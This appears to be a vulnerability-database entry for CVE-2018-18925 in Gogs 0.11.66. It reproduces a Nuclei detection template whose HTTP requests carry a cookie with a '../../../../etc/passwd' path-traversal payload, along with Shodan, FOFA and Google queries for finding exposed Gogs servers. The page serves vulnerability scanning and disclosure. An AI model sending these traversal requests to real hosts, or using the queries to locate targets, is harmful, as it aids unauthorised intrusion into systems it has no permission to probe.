Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2018-18925
HistoryFeb 09, 2022 - 8:40 p.m.

Gogs (Go Git Service) 0.11.66 - Remote Code Execution

2022-02-0920:40:54
ProjectDiscovery
github.com
3

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

8.8 High

AI Score

Confidence

High

0.098 Low

EPSS

Percentile

94.9%

Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a “…” session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.

id: CVE-2018-18925

info:
  name: Gogs (Go Git Service) 0.11.66 - Remote Code Execution
  author: princechaddha
  severity: critical
  description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: This issue will be fixed by updating to the latest version of Gogs.
  reference:
    - https://www.anquanke.com/post/id/163575
    - https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925
    - https://nvd.nist.gov/vuln/detail/cve-2018-18925
    - https://github.com/gogs/gogs/issues/5469
    - https://github.com/j4k0m/CVE-2018-18925
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-18925
    cwe-id: CWE-384
    epss-score: 0.09538
    epss-percentile: 0.94736
    cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: gogs
    product: gogs
    shodan-query:
      - cpe:"cpe:2.3:a:gogs:gogs"
      - http.title:"sign in - gogs"
    fofa-query: title="sign in - gogs"
    google-query: intitle:"sign in - gogs"
  tags: cve,cve2018,gogs,lfi,rce,vulhub

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd;
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy;

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "<meta name=\"author\" content=\"Gogs\" />")'
# digest: 4a0a0047304502205d79476c70fa102654cab950b22602f5882de9dfeac38e0a2759ebdf47848b0002210080ad77784df5e34a99efb752ce781684d27cda392d9c88371be16590782e9e60:922c64590222798bb761d5b6d8e72950

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

8.8 High

AI Score

Confidence

High

0.098 Low

EPSS

Percentile

94.9%